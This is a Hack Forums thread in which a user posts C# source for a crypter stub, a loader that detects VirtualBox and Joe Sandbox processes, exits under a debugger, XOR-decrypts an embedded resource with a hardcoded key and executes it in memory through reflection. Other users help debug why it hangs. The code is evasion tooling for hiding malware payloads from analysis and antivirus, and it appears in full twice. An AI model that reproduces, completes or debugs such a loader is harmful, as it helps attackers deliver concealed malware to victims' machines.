Hack Forums
[C#] C# Stub won't run - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [C#] C# Stub won't run (/showthread.php?tid=5851883)



C# Stub won't run - Crakxproo - Jun 20, 2018

The build is anycpu on codedom:

Code
using System.Text;
using System.Reflection;
using System.Diagnostics;
using System;
using System.Runtime.InteropServices;
using System.Threading;
using System.Resources;
using System.ComponentModel;

namespace S2
{
    [EditorBrowsable(EditorBrowsableState.Never)]
    static class Program
    {
        
        static Mutex _m;

        [DebuggerHidden] [EditorBrowsable(EditorBrowsableState.Never)]
        static bool VM()
        {
            foreach (Process process in Process.GetProcesses())
            {
                switch (process.ProcessName.ToLower())
                {
                    case "vboxservice.exe":
                        return true;
                    case "joeboxserver.exe":
                        return true;
                    case "joeboxcontrol.exe":
                        return true;
                    case "vboxtray.exe":
                        return true;
                }
            }
            return false;
        }

        public static byte[] XOR(byte[] strng, byte[] key)
        {
            int string_len = strng.Length;
            int key_length = key.Length;
            int i, position;

            for (i = 0; i < string_len; i++)
            {
                position = i % key_length;
                strng[i] = Convert.ToByte(strng[i] ^ key[position]);
            }
            return strng;
        }

        [STAThread]
        [DebuggerHidden] [EditorBrowsable(EditorBrowsableState.Never)]      
        static void Main()
        {
            if (Convert.ToBoolean(Mutex.OpenExisting("PERL")) == true || VM() == true || Debugger.IsAttached == true)
            {
                Environment.Exit(0);
            }
            else
            {
                _m = new Mutex(true, "PERL");
                
                Assembly a = Assembly.Load(XOR((byte[])new ResourceManager("res",
                Assembly.GetExecutingAssembly()).GetObject("obj"), Encoding.ASCII.GetBytes("abc123"))); a.EntryPoint.Invoke(null, null);                
            }
        }      
    }
}

When i crypt it with a test application, it has the waiting 'blue loading ring' then it stops and does nothing ..

the stub was fairly big

even with a small one it does that


RE: C# Stub won't run - Jaguars - Jun 20, 2018

You are compromising on the function definition and rooting with same data types


RE: C# Stub won't run - Crakxproo - Jun 20, 2018

(Jun 20, 2018 11:00 AM)Jaguars Wrote:  You are compromising on the function definition and rooting with same data types

Please explain more on that, like and example


RE: C# Stub won't run - int - Jun 20, 2018

(Jun 20, 2018 11:00 AM)Jaguars Wrote:  You are compromising on the function definition and rooting with same data types

you are speaking buzzwords to pretend like you know what you are doing


RE: C# Stub won't run - Crakxproo - Jun 20, 2018

(Jun 20, 2018 01:13 PM)Jukeboxhook Wrote:  you are speaking buzzwords to pretend like you know what you are doing

He's what John shouldnt have called me. a **


RE: C# Stub won't run - Electron - Jun 21, 2018

(Jun 20, 2018 08:35 AM)Crakxproo Wrote:  The build is anycpu on codedom:

Code
using System.Text;
using System.Reflection;
using System.Diagnostics;
using System;
using System.Runtime.InteropServices;
using System.Threading;
using System.Resources;
using System.ComponentModel;

namespace S2
{
    [EditorBrowsable(EditorBrowsableState.Never)]
    static class Program
    {
        
        static Mutex _m;

        [DebuggerHidden] [EditorBrowsable(EditorBrowsableState.Never)]
        static bool VM()
        {
            foreach (Process process in Process.GetProcesses())
            {
                switch (process.ProcessName.ToLower())
                {
                    case "vboxservice.exe":
                        return true;
                    case "joeboxserver.exe":
                        return true;
                    case "joeboxcontrol.exe":
                        return true;
                    case "vboxtray.exe":
                        return true;
                }
            }
            return false;
        }

        public static byte[] XOR(byte[] strng, byte[] key)
        {
            int string_len = strng.Length;
            int key_length = key.Length;
            int i, position;

            for (i = 0; i < string_len; i++)
            {
                position = i % key_length;
                strng[i] = Convert.ToByte(strng[i] ^ key[position]);
            }
            return strng;
        }

        [STAThread]
        [DebuggerHidden] [EditorBrowsable(EditorBrowsableState.Never)]      
        static void Main()
        {
            if (Convert.ToBoolean(Mutex.OpenExisting("PERL")) == true || VM() == true || Debugger.IsAttached == true)
            {
                Environment.Exit(0);
            }
            else
            {
                _m = new Mutex(true, "PERL");
                
                Assembly a = Assembly.Load(XOR((byte[])new ResourceManager("res",
                Assembly.GetExecutingAssembly()).GetObject("obj"), Encoding.ASCII.GetBytes("abc123"))); a.EntryPoint.Invoke(null, null);                
            }
        }      
    }
}

When i crypt it with a test application, it has the waiting 'blue loading ring' then it stops and does nothing ..

the stub was fairly big

even with a small one it does that

1) That method (called Reflection) works only for .NET executables so if you're trying to run a native one, it won't work.
2) Check if the byte array you are passing to Assembly.Load is valid. Check if the resource is actually there and if the resource name is same.
3) Change build to x86 because I assume your file is x86.


RE: C# Stub won't run - Crakxproo - Jun 21, 2018

(Jun 21, 2018 06:51 AM)Noxious™ Wrote:  1) That method (called Reflection) works only for .NET executables so if you're trying to run a native one, it won't work.
2) Check if the byte array you are passing to Assembly.Load is valid. Check if the resource is actually there and if the resource name is same.
3) Change build to x86 because I assume your file is x86.

1. Used .NET only

2. Check out my other thread without the object array

3. Tried x86 it'd give errors without debug message


RE: C# Stub won't run - Electron - Jun 21, 2018

(Jun 21, 2018 07:08 AM)Crakxproo Wrote:  1. Used .NET only

2. Check out my other thread without the object array

3. Tried x86 it'd give errors without debug message

Open the file in dnSpy. Expand Resources and make a screenshot of it.